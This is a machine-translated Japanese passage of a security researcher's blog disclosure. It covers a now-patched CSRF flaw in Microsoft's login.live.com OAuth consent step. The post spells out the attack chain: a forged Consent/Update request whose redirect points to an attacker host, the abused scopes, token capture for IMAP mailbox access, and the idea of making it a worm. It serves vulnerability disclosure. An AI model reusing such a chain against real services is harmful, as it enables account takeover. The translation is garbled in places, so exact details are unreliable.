Synackでは、web、モバイル、ホスト、あるいは完全にとんでもないデバイスやシステム（satellite hacking anyone？). しかし私達は私達およびSRTが私達の顧客のために機密にした大きい調査結果を常に保ちます。 だから、これはSynackの顧客の偉大なvulnについての投稿ではありませんが、それは私たちが毎週または時には日常的に見るものの正確なタイプをカバーし
私は最近、マイクロソフトの脆弱性を発見しましたLive.com あなたは、任意のMicrosoftサービスとアカウントを持っている場合、おそらくあなたに影響を与えているだろう、認証システム、。 この記事では、マイクロソフトがこの問題にパッチを適用した今、この脆弱性の完全な詳細について説明します。
はじめに
平均的な人のコンピュータセキュリティに対する理解は、常にかなり限られています。 誰かがあなたがコンピュータのセキュリティに関与していたことを聞いた場合、標準的な質問は、”あなたは私のHotmailをハックすることができます”、またはよ 私はその日に人々はまだYahooメールを使用し、MicrosoftはまだHotmailを取得していなかったと仮定しますが、それは少し遠すぎるバックです！ 必然的に、あなたはその人がその人のパスワードリセットの質問を推測するか、Sub7をインストールすることをお勧めします。 実際にHotmailをハッキングすることは、完全に違法に言及しないように、あまりにも困難にバインドされていました。
情報セキュリティの世界はここ数年で大きく変化しており、過去数年間とは異なり、マイクロソフトはセキュリティ研究者に”Hotmailをハック”しようとすることを全面的に奨励している。 もちろん、HotmailはOutlookになっています。com、そしてこれらの日、誰もがあなたが自分のFacebookをハックすることができるかどうかを知りたいが、それはポイントの横にあります。
Microsoft Online Services bounty programが最近更新され、ターゲットとして”Microsoftアカウント”が含まれています。
–login.windows.net
–login.microsoftonline.com
–login.live.com
上記のリストでは、login.live.com 認証しようとしている場合に通過する認証システムですOutlook.com そして、他のMicrosoftサービスの膨大な数。 私は問題を発見できるかどうかを確認するために最初にそれを調べることにしました。 予想通り、ログインを処理するために使用されるさまざまなAPIはよく硬化しているように見えました。 たとえば、一部の場所では、HTTPS経由ですべての通信が行われているにもかかわらず、パスワードは送信前に公開鍵で暗号化されます。
数時間のテストの後、私は報告したいくつかのマイナーな問題を発見しましたが、実際には何も注意していません。 Webアプリケーションをテストするとき、私はしばしば最も一般的なワークフローも最も安全であることがわかりますので、私はユーザーが認証できる他の方live.com システム。 ほぼ1年前、Microsoft Online ServicesのバウンティターゲットでもあるYammerでいくつかのOAuthの脆弱性を発見したので、次に探しましたlive.comこれは興味深い発見が始まるところです！
脆弱性の背景
発見された脆弱性を正しく理解する前に、OAuthと呼ばれる誤ったセキュリティシステムの概要が必要です:
Wikipediaは、”OAuthは、リソース所有者に代わって、クライアントアプリケーションにサーバーリソースへの”安全な委任アクセス”を提供します”と私に伝えます。 ウィキペディアはまた、その進化とセキュリティに関するいくつかの痛烈なコメントを持っています,良い笑いのために読む価値があります. 現実的には、OAuthのすべては、ユーザーがアカウントの一部またはすべてへのアクセス権を第三者に許可することを許可することです。 私はWikipediaで素晴らしいものを見つけることができなかったので、これを説明するためにMS Paint図面を作りました。
上の図に示すように、ユーザーがクライアントアプリに自分のアカウントへのアクセスを許可したサーバーがあります。 これを舞台裏で処理するメカニズムは、OAuth RFCで定義されているいくつかの異なる方法で構築できます。 これを構築する1つの方法は、認証サーバーがクライアントに直接アクセスキーを与えることを含む「暗黙の」認証フローです。 別の一般的な方法は、認証サーバーが認証コードを発行し、クライアントシステムが取得し、クライアントシークレット値を使用してアクセスキーを交換する” Microsoftは、これらのメカニズムをどのように実装したかの使用法についての良い説明をしていますlive.com ここでは、:
https://msdn.microsoft.com/en-us/library/hh243647.aspx
“認証コード”フロー用に作成したグラフィックは次のようになります:
そのようなイメージは、プロセスを理解するのに最適ですが、ペンテスターとしての私にとっても、物事がうまくいかない機会と場所がたくさんあります。 だから、それを背景に、発見されたものに！
何がうまくいかないのでしょうか？
上記のセクションで述べたように、何かがうまくいかない可能性のある場所がたくさんあります。 OAuth認証手順の基本的な手順の1つは、ユーザーがアプリケーションへのアクセスを許可することを選択することです。 これは通常、次のようなプロンプトによって達成されます:
一般的に、ユーザーはこのプロンプトを一度だけ受け入れる必要がありますが、受け入れるまで、そのアプリは自分のアカウントにアクセスできません（平均的なユーザーがWesの邪悪なアプリにアクセスを許可するかどうかは、おそらく別の質問です！).
攻撃者として考えると、ユーザーに代わって要求を受け入れることができれば間違いなく素晴らしいでしょう。 残念ながら、私にとっては、”X-Frame-Options”ヘッダーは”deny”に設定されていました（x-frame-options設定もこの賞金の範囲外でした）。 そのため、clickjackingが終了している間、私は要求自体がどのように機能したかをよりよく理解することにしました。 ユーザーが”はい”をクリックすると、次の要求がサーバーに投稿されます（さらにいくつかの退屈なヘッダー):
上記のURLパスには生成されたトークンがいくつか含まれていますが、テストでは要求が成功するためには不要であることが示されました。 次のURLへの投稿も同様に機能します:
https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope%3dwl.基本%26response_type%3dcode%26redirect_uri%3dhttp://exfiltrated.com&client_id=000000004C15E107&rd=exfiltrated.com&scope=wl.basic
“IPT”に有効なセッショントークンを含めるために必要な要求とともに送信されたcookie。 このcookie値は、ユーザーに許可を求めるページが表示される前にhttps://login.live.com/oauth20_authorize.srfによって入力されます。 これは、ユーザーが最終的に「はい」をクリックしたかどうかにかかわらず発生しますが、一部のJavascriptコードで設定されているため、このプロセスを攻撃する場合、ある時点でユーザーにそのページを強制的にロードする必要があります。
あなたがフォローしているなら、うまくいけば、あなたは今、”OK、POSTリクエスト自体、そしてそのカナリア値はどうですか？”. POST要求で”canary”というラベルの値が送信されていることは、CSRF攻撃を防ぐためのトークンとして使用されていることをほぼ確実に意味するため、他のすべ しかし、セキュリティテストのポイントは、仮定が実際に正しいことを確認することです。 そこで、POSTリクエストを変更し、canary値を「hacks_go_here」に変更しました。 代わりに、500エラーにリダイレクトするのではなく、サーバーは肯定的な応答を送り返しました！CSRFトークンは私が改ざんしようとした最後のものだったので、私はこれが有効なCSRF脆弱性のために作るべきであることを確かに知っていました。 ほとんどすべてのCSRF攻撃と同様に、唯一の前提条件は、被害者がログインしており、cookieに有効なセッショントークンを持っていることでした。 他の多くのweb脆弱性とは異なり、CSRFの脆弱性の影響は、影響を受けるAPI機能に完全に依存します。 このCSRFを使用すると、OAuth認証システムのユーザー対話ステップを回避できますが、PoCは1000ワードの価値があるため、次のステップはこの脆弱性の影響を適切にデモするためのコードを構築することでした。
通常のOAuth認証フローでは、ユーザーがアクセスを許可した後、サーバーはユーザーにアクセスコードを返す必要があります。 ユーザーはそれをクライアントアプリケーションに渡し、クライアントアプリケーションは付与された権限を使用できます。 A live.com クライアントアプリケーションは、可能なアクセス許可の広い範囲を要求することができます。 私はちょうどユーザーの連絡先やそのようなものをダンプすることを検討しましたが、なぜ今Hotmailをハッキングするという目標を犠牲にしますか？ 私のPoCが必要とした権限は、
wlでした。offline_access+wl.imap
オフラインはそれほど必要ではありませんでしたが、許可されることを示すためにそれを投げました。
必要な権限を選択して、ユーザーの電子メールアカウントにアクセスするには4つの手順があります。
1)上記の権限を使用してクライアントアプリの認証要求を行う必要があります。 サーバーは、ユーザーに承諾または拒否を求めるプロンプトを表示します。
2)ユーザーがこれらのアクセス許可の要求を受け入れると、サーバーは”#access_token=<token>”パラメータをリダイレクトに追加します。
3)サーバー側のスクリプトはその値にアクセスする必要があるため、ブラウザのURLフィールドからトークンを取得してサーバーに渡すための簡単なページを作
4)最後に、そのトークンを取得し、IMAPにログインするためにそれを使用するためにいくつかのスクリプトサーバー側が必要です。 Microsoftには、OAUTHトークンを使用してIMAP経由で直接ログインするためのやや複雑なプロセスがあります。 このためにいくつかのサンプルライブラリが存在し、全体のプロセスはこのページで説明されています:
https://msdn.microsoft.com/en-us/library/dn440163.aspx
そのワークフローは、ユーザーが私たちに許可を与えることを選択したと仮定して正常に動作します。 私は今、代わりにCSRFを含めるようにワークフローを変更する必要があります。 先に述べたように、live.com 認証サーバーはIPT cookieにセッショントークンを期待しています。 最初にユーザーをvalidhttps://login.live.com/oauth20_authorize.srfページに送信することで、それが確実に入力されるようにすることができます。 直後に、新しく設定されたcookie値を使用するCSRF要求を実行できます。 これで、ステップ1を置き換えて、サーバを強制的にステップ2にすぐにジャンプさせることができます。
デモと影響
マイクロソフトはこの問題を修正しましたが、ここでは実際にそれを示す簡単なビデオです。
ビデオで見ることができるように、本当に必要なのは、被害者に悪意のあるwebページを訪問させることだけです。 デモは卑劣で、ウェブサイトのバックグラウンドで、または悪意のあるバナー広告の一部として実行されるように設計されていませんでしたが、確かにそのように作られている可能性があります。
これを標的型攻撃として使用することは間違いなく大きな影響を与えますが、これはワームに変わるのに最適なタイプの脆弱性です。 IMAPと連絡先帳へのアクセスを使用すると、ワームはユーザーのすべての連絡先（または少なくともHotmailを使用する連絡先）を簡単に電子メールで送信できます。Outlook.comなど）、魅力的な何かで、”ILOVEYOU”ウイルススタイル、およびリンクをクリックするすべてのユーザーに広がります。
最終的な考えとタイムライン
この脆弱性のために狩りをし、作業PoCを作ることは、さまざまなものを掘り下げるかなりの努力を要しましたlive.com APIの。 しかし、それをすべて振り返ってみると、これは実際には単なる古典的なCSRFの脆弱性です。 それについて驚くべきことは、それが最終的に任意のユーザーのアカウントを引き継ぐために使用できる重要な認証システムにあるということです。
外部テスターとして、この脆弱性がどれくらい存在していたのか、または誰かがそれを悪用しようとしたのかはわかりません。 同時に、攻撃者が脆弱性を悪用する前に、外部のテスターが脆弱性を会社に提出できるようにすることの価値を確実に示すのは、このような調査結果です。 マイクロソフトは、セキュリティに関してはほとんどの企業よりもはるかに先んじていますが、このような問題にはまだ耐えられます。 Synackの経験は、外部の研究者の大規模なグループがそのシステムをテストするときに、一見十分に保護されたシステムでさえ脆弱性が発見されている それは本質的にSynackが動作する前提であり、ますます多くの企業が独自の賞金プログラムを提供している理由です（私は、もちろん、あなた自身の実行よりもSynackのプログラムをお勧めします！).
以下のタイムラインで見ることができるように、Microsoftはこの問題の修正を得ることに反応しました。
タイムライン:
August23,2015:脆弱性が発見されました
August25,2015:脆弱性がMicrosoftに報告されました
August31,2015:Microsoft issues脆弱性のケース番号
September15,2015:Microsoftが問題の修正をリリースし、2 24,000bounty(double bounties promo)